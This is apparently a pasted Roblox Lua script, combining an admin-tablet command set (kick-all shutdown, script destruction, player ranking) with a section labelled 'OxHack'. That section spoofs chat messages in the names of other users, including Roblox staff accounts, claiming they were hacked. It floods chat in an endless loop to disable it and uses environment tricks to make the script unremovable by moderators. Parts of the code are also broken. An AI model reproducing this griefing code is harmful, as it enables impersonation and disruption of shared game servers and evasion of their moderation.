  670. Eximius.Functions.AddCommand('Ping','ping','Pings a message.',2,function(Speaker, Msg)
  671.           Eximius.Functions.Dismiss(Speaker)
  672.           Eximius.Functions.Output(Speaker, Msg, Eximius.Functions.GetColor(Speaker))
  673. end)
  674.  
  675. Eximius.Functions.AddCommand('Ping All','msg','Pings a message to server.',3,function(Speaker, Msg)
  676.           for i,v in pairs(game.Players:GetPlayers()) do
  677.                       if v then
  678.                                 Eximius.Functions.Output(v, Msg, Eximius.Functions.GetColor(Speaker))
  679.                       end
  680.           end
  681. end)
  682.  
  683. Eximius.Functions.AddCommand('Ask for rank up','rq','Rank up required.',0,function(Speaker, Msg)
  684.           Eximius.Functions.Dismiss(Speaker)
  685.           if Eximius.Functions.GetRank(Speaker) < 2 then
  686.                      Eximius.Functions.Output(Speaker, "Cannot require rank up, sorry", "Really red")
  687.           end
  688. end)
  689.  
  690. function DestroyScript()
  691.           for i,v in pairs(workspace:children()) do
  692.                       if v:IsA('Script') then
  693.                                 v:Destroy()
  694.                       end
  695.           end
  696. end
  697. Eximius.Functions.AddCommand('Destroy script','destroys','Destroy\'s a script',7,function(Speaker, Msg)
  698.           DestroyScript(Speaker)
  699. end)
  700.  
  701.  
  702. Eximius.Functions.AddCommand('Shutdown','sd','Shuts down the whole server.',5,function(Speaker, Msg)
  703.     Eximius.Functions.Dismiss(Speaker)
  704.     Eximius.Functions.Output(Speaker,'5','White')
  705.     wait(1)
  706.     Eximius.Functions.Output(Speaker,'4','White')
  707.     wait(1)
  708.     Eximius.Functions.Output(Speaker,'3','White')
  709.     wait(1)
  710.     Eximius.Functions.Output(Speaker,'2','White')
  711.     wait(1)
  712.     Eximius.Functions.Output(Speaker,'1','White')
  713.     Eximius.Functions.Dismiss(Speaker)
  714.     Eximius.Functions.Output(Speaker,'Server Was ShutDown Due :'..Msg,'Really red')
  715.     wait(.50)
  716.           for i,v in pairs(game.Players:GetPlayers()) do
  717.                      if v then
  718.                                   Eximius.Functions.Kick(v)
  719.                              end
  720.           end
  721. end)
  722.  
  723. Eximius.Functions.AddCommand('Update','update','Updates Script.',7,function(Speaker, Msg)
  724. Eximius.Functions.Dismiss(Speaker)
  725.           Eximius.Functions.Output(Speaker, "In progress.", "Really red")
  726. end)
  727.  
  728. Eximius.Functions.AddCommand('Players','plrs','View all players',3,function(Speaker, Msg)
  729.           Eximius.Functions.Dismiss(Speaker)
  730.           for _,Player in pairs(game:GetService("Players"):GetPlayers()) do
  731.                       Eximius.Functions.Output(Speaker, Player.Name, Eximius.Functions.GetColor(Player), function() Eximius.Functions.Dismiss(Speaker)
  732.                                 Eximius.Functions.Output(Speaker, 'Name : '..Player.Name, Eximius.Functions.GetColor(Player))
  733.                                 Eximius.Functions.Output(Speaker, 'AccountAge : '..Player.AccountAge, Eximius.Functions.GetColor(Player))
  734.                                 Eximius.Functions.Output(Speaker, 'UserId : '..Player.userId, Eximius.Functions.GetColor(Player))
  735.                                 Eximius.Functions.Output(Speaker, 'Player Rank : '..Eximius.Functions.GetRank(Player), 'New Yeller')
  736.                                 Eximius.Functions.Output(Speaker, 'Player Color : '..Eximius.Functions.GetColor(Player),Eximius.Functions.GetColor(Player))
  737.                                 Eximius.Functions.Output(Speaker, 'noskope Player', 'Really red', function() Eximius.Functions.Dismiss(Speaker) Eximius.Functions.Kick(Player) end)
  738.                                 Eximius.Functions.Output(Speaker, 'Rank User','Lime green',function()
  739.                                     Eximius.Functions.Dismiss(Speaker)
  740.                                  Eximius.Functions.Output(Speaker, '[1]','White',function()
  741.                                      Eximius.Ranked[Speaker.Name]['Rank'] = 1
  742.                                      Eximius.Functions.Output(Speaker, 'Set users rank to 1', true)
  743.                                      wait(3)
  744.                                      Eximius.Functions.Dismiss(Speaker)--Rank system not working currently :c
  745.                              end)
  746.                              Eximius.Functions.Output(Speaker,'[2]','White',function()
  747.                                  Eximius.Ranked[Speaker.Name]['Rank'] = 2
  748.                                  Eximius.Functions.Output(Speaker, 'Set users rank to 2', true)
  749.                                  wait(3)
  750.                                  Eximius.Functions.Dismiss(Speaker)
  751.                              end)
  752.                              Eximius.Functions.Output(Speaker,'[3]','White',function()
  753.                                  Eximius.Ranked[Speaker.Name]['Rank'] = 3
  754.                                  Eximius.Functions.Output(Speaker, 'Set users rank to 3', true)
  755.                                  wait(3)
  756.                                  Eximius.Functions.Dismiss(Speaker)
  757.                              end)
  758.                              Eximius.Functions.Output(Speaker,'[4]','White',function()
  759.                                  Eximius.Ranked[Speaker.Name]['Rank'] = 4
  760.                                  Eximius.Functions.Output(Speaker, 'Set users rank to 4', true)
  761.                                  wait(3)
  762.                                  Eximius.Functions.Dismiss(Speaker)
  763.                              end)
  764.                              Eximius.Functions.Output(Speaker,'[5]','White',function()
  765.                                  Eximius.Ranked[Speaker.Name]['Rank'] = 5
  766.                                  Eximius.Functions.Output(Speaker, 'Set users rank to 5', true)
  767.                                  wait(3)
  768.                                  Eximius.Functions.Dismiss(Speaker)
  769.                              end)
  770.                              Eximius.Functions.Output(Speaker,'[6]','White',function()
  771.                                  Eximius.Ranked[Speaker.Name]['Rank'] = 6
  772.                                  Eximius.Functions.Output(Speaker, 'Set users rank to 6', true)
  773.                                  wait(3)
  774.                                  Eximius.Functions.Dismiss(Speaker)
  775.                              end)
  776.                              Eximius.Functions.Output(Speaker,'[7]','White',function()
  777.                                  Eximius.Ranked[Speaker.Name]['Rank'] = 7
  778.                                  Eximius.Functions.Output(Speaker, 'Set users rank to 7', true)
  779.                                  wait(3)
  780.                                  Eximius.Functions.Dismiss(Speaker)
  781.                              end)
  782.                          
  783.                       end)
  784.           end)
  785.         end
  786.         end)
  787.  
  788.  
  789. Eximius.Functions.AddCommand('Set Color','setc','Sets your color.',1,function(Plr,Name)
  790.           Eximius.Functions.SetColor(Plr, Name)
  791.           Eximius.Functions.Output(Plr, "New Color:\n"..Eximius.Functions.GetColor(Plr))
  792. end)
  793.  
  794. Eximius.Functions.AddCommand('Sound search','sm','Sound searches music.',1,function(Plr,Name)
  795.           Eximius.Functions.SoundSearch(Plr,Name)
  796. end)
  797.  
  798. Eximius.Functions.AddCommand('Explore','explore','Explore from Eximius/Tablet.',4,function(Speaker, Msg)
  799.          Eximius.Functions.Explore(Speaker)
  800. end)
  801.  
  802. game:GetService("Players").PlayerAdded:connect(function(plr)
  803.         local type = nil
  804.         if type == 'join' then
  805.                   Eximius.Functions.Output(plr.Name.. ' Has joined the game!', 'Lime green')
  806.          end
  807.          --[[plr.Chatted:connect(function(msg)
  808.                     Eximius.Functions.OnChatted(plr, msg)
  809.          end)]]--
  810.          
  811. end)
  812.  
  813. ---Ranks---
  814.  
  815. game:GetService("RunService").Heartbeat:connect(Eximius.Functions.RotateTabs)
  816.  
  817. stime=tick()
  818.  
  819. --Hax wait--
  820. script.Name = "OxChat"
  821. print(script.Name)
  822. warn(script.Parent)
  823. OxFunc = {}
  824. --OxChat v2
  825. _G.Ox = function(Title,Message)
  826.  for _,v in pairs(game.Players:GetPlayers()) do
  827.                         local Value = Instance.new("StringValue",v)
  828.                                 Value.Name = "SB_Chat"
  829.                                 Value.Value = tostring(Title).."/"..Message
  830.                                 Value.Parent = v
  831.                         game.Debris:AddItem(Value,.1)
  832.                        
  833. end
  834. end
  835.  
  836. --OxChat v1
  837. _G.OldOx = function(Message)
  838.  for _,v in pairs(game.Players:GetPlayers()) do
  839.                         local Value = Instance.new("StringValue",v)
  840.                                 Value.Name = "SB_Chat"
  841.                                 Value.Value = "[resaloli\'s Notice]/"..Message
  842.                                 Value.Parent = v
  843.                         game.Debris:AddItem(Value,.1)
  844.                        
  845. end
  846. end
  847. _G.cmdsOx = {"OxCmds >>>","c/Ox","c/OldOx"}
  848. warn("c/Ox(Name,Message)")
  849. warn("c/OldOx(Name)")
  850. _G.Donut = function()
  851. function onPlayerAdded(plr)
  852.      OldOx(tostring(plr.Name).." has joined the game.")
  853. end
  854. function onPlayerRemove(plr)
  855.      OldOx(tostring(plr.Name).." has left the game.")
  856. end
  857. game.Players.PlayerAdded:connect(onPlayerAdded)
  858. game.Players.PlayerRemoving:connect(onPlayerRemove)
  859. end
  860.  
  861.  
  862.  
  863.  
  864. --> Funcs Here <--
  865. script.Name = "OxChat"
  866. print(script.Name)
  867. warn(script.Parent)
  868. pluhack = false
  869. chatbreak = false
  870. OxFunc = {}
  871. --OxChat v2
  872. _G.run = function(Title,Message)
  873.  for _,v in pairs(game.Players:GetPlayers()) do
  874.                         local Value = Instance.new("StringValue",v)
  875.                                 Value.Name = "SB_Chat"
  876.                                 Value.Value = tostring(Title).."/"..Message
  877.                                 Value.Parent = v
  878.                         game.Debris:AddItem(Value,.1)
  879.                        
  880. end
  881. end
  882. if pluhack == true then
  883. timesleft = 10
  884. while true do
  885. wait(1)
  886. if timesleft < 0 then
  887. script:Remove()
  888. else
  889. for _,v in pairs(game.Players:GetPlayers()) do
  890. name = v.Name
  891. wait(1)
  892.  
  893. run(name,"Plutonium Has Hacked This Server. This will stop in "..timesleft)
  894. timesleft = timesleft-1
  895. end
  896. end
  897. end
  898. else
  899.  
  900. run("[Runtoheven's OxHack]","Runtoheven's OxHack Ran Successfully!")
  901. run("[Runtoheven's OxHack]","I am here to protect, not abuse.")
  902. run("[Runtoheven's OxHack]","Free model and I will ban you.")
  903.  
  904. wait(3)
  905. if chatbreak == true then
  906. run("DrAnkle","Runtoheven just hacked my chat and made me say this! ")
  907. run("Oxcool1","Runtoheven just hacked my chat and made me say this! ")
  908. run("Builderman","Runtoheven just hacked my chat and made me say this! ")
  909. run("Telamon","Runtoheven just hacked my chat and made me say this! ")
  910. --]]
  911. wait(5)
  912. while true do
  913. wait(0.1)
  914. run("[Runtoheven's OxHack]","Runtoheven's OxHack Has Disabled This Chat.")
  915. end
  916. end
  917. end
  918.  
  919. for _,v in pairs(game.Players:GetPlayers()) do
  920. local ChatService = game:GetService("Chat")
  921. end
  922.  
  923. if script.ClassName == "LocalScript" then if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end end
  924. if script ~= true then
  925. print("Unremoveable Test Completed! Works! This script is immune to g/nol/all or g/nos/all!")
  926. else
  927. print("Unremoveable Test Failed! This script is removable by g/nol/all or g/nos/all!")
  928. end
  929. --OxChat v1
  930. _G.OldOx = function(Message)
  931.  for _,v in pairs(game.Players:GetPlayers()) do
  932.                         local Value = Instance.new("StringValue",v)
  933.                                 Value.Name = "SB_Chat"
  934.                                 Value.Value = Message
  935.                                 Value.Parent = v
  936.                         game.Debris:AddItem(Value,.1)
  937.                        
  938. end
  939. end
  940.  
  941. _G.cmdsOx = {"OxCmds >>>","c/Ox","c/OldOx"}
  942. warn("c/Ox(Name,Message)")
  943. warn("c/OldOx(Name)")
  944. for i = 0, #Commands do
  945.  warn(Commands[i])
  946. end
  947. _G.Donut = function()
  948. function onPlayerAdded(plr)
  949.      OldOx(tostring(plr.Name).." has joined the game.")
  950. end
  951. function onPlayerRemove(plr)
  952.      OldOx(tostring(plr.Name).." has left the game.")
  953. end
  954.  
  955. game.Players.PlayerAdded:connect(onPlayerAdded)
  956. game.Players.PlayerRemoving:connect(onPlayerRemove)
  957. end
  958. game.Players.PlayerAdded:connect(function(player)
  959. wait(0.1)
  960. run("[RuntoJoiner]","Welcome, "..player.Name.."!")
  961.  
  962. end)
  963. game.Players.PlayerRemoving:connect(function(player)
  964. wait(0.1)
  965. run("[RuntoLeaver]","Bye, "..player.Name.."!")
  966. end)
  967.  
  968. --Hax complete--
Add Comment
Please, Sign In to add comment